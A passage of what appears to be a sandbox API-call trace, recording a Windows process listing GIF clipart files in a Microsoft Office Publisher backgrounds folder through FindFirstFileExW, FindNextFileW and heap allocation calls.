ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x90c, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02085_.GIF", cAlternateFileName="")) returned 1 [0068.367] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0068.367] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0068.367] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0068.367] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0068.367] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0068.367] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x1008ba8 [0068.367] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfd4a18 [0068.367] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0068.367] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x581, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02097_.GIF", cAlternateFileName="")) returned 1 [0068.367] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0068.368] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0068.368] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0068.368] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0068.368] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0068.368] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x1008bc8 [0068.368] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfd4b20 [0068.368] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0068.368] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x15fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02106_.GIF", cAlternateFileName="")) returned 1 [0068.368] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0068.368] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0068.368] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0068.368] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0068.368] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0068.368] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x1008be8 [0068.368] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfd4c28 [0068.368] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0068.368] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x3ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02116_.GIF", cAlternateFileName="")) returned 1 [0068.368] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0068.368] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0068.368] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0068.368] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0068.368] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0068.368] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x1008c08 [0068.369] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfd4d30 [0068.369] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0068.369] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x97f, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02134_.GIF", cAlternateFileName="")) returned 1 [0068.369] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0068.369] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0068.369] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0068.369] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0068.369] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0068.369] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x1008c28 [0068.369] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfd4e38 [0068.369] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0068.369] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x579, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02187_.GIF", cAlternateFileName="")) returned 1 [0068.369] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0068.369] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0068.369] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0068.369] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0068.369] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0068.369] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x1008c48 [0068.369] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfd4f40 [0068.369] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0068.369] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x4abc, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02198_.GIF", cAlternateFileName="")) returned 1 [0068.369] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0068.369] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0068.370] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0068.370] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0068.370] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0068.370] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x1008c68 [0068.370] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfd5048 [0068.370] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0068.370] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1653, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02201_.GIF", cAlternateFileName="")) returned 1 [0068.370] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0068.370] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0068.370] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0068.370] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0068.370] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0068.370] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x1008c88 [0068.370] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfd5150 [0068.370] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0068.370] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x136b, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02214_.GIF", cAlternateFileName="")) returned 1 [0068.370] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0068.370] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0068.370] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0068.370] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0068.370] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0068.371] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x1008ca8 [0068.371] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfd5258 [0068.371] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0068.371] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xbc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02218_.GIF", cAlternateFileName="")) returned 1 [0068.371] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0068.371] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0068.371] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0068.371] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0068.371] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0068.371] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x1008cc8 [0068.371] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfbaf30 [0068.371] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0068.371] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xbc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02218_.GIF", cAlternateFileName="")) returned 0 [0068.371] GetLastError () returned 0x12 [0068.371] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d160 [0068.371] FindClose (in: hFindFile=0x60d0a0 | out: hFindFile=0x60d0a0) returned 1 [0068.371] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7089b290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.371] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f046d00, ftCreationTime.dwHighDateTime=0x1bd9a89, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6f046d00, ftLastWriteTime.dwHighDateTime=0x1bd9a89, nFileSizeHigh=0x0, nFileSizeLow=0xf77, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143743.GIF", cAlternateFileName="")) returned 1 [0068.372] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4ed3400, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4ed3400, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143744.GIF", cAlternateFileName="")) returned 1 [0068.372] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac144200, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xac144200, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x2dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143745.GIF", cAlternateFileName="")) returned 1 [0068.372] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77a08600, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77a08600, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x595, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143746.GIF", cAlternateFileName="")) returned 1 [0068.372] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4cbfb00, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4cbfb00, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x11d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143748.GIF", cAlternateFileName="")) returned 1 [0068.372] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ef75300, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9ef75300, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x1323, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143749.GIF", cAlternateFileName="")) returned 1 [0068.372] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1896c00, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc1896c00, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x43e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143750.GIF", cAlternateFileName="")) returned 1 [0068.372] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9313100, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9313100, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x412, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143752.GIF", cAlternateFileName="")) returned 1 [0068.372] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6fe9600, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd6fe9600, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x1b7f, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143753.GIF", cAlternateFileName="")) returned 1 [0068.372] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbf30900, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfbf30900, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x6ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143754.GIF", cAlternateFileName="")) returned 1 [0068.372] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8b07a00, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8b07a00, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x69f, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143758.GIF", cAlternateFileName="")) returned 1 [0068.372] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x124a, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB00516L.GIF", cAlternateFileName="")) returned 1 [0068.372] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2017, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB00531L.GIF", cAlternateFileName="")) returned 1 [0068.372] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x20ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB00673L.GIF", cAlternateFileName="")) returned 1 [0068.372] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2026, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB00703L.GIF", cAlternateFileName="")) returned 1 [0068.372] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2313, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB00760L.GIF", cAlternateFileName="")) returned 1 [0068.372] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1f8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB00780L.GIF", cAlternateFileName="")) returned 1 [0068.372] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xe1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01741L.GIF", cAlternateFileName="")) returned 1 [0068.372] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x38c, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02039_.GIF", cAlternateFileName="")) returned 1 [0068.372] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x987, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02055_.GIF", cAlternateFileName="")) returned 1 [0068.372] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x37d, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02073_.GIF", cAlternateFileName="")) returned 1 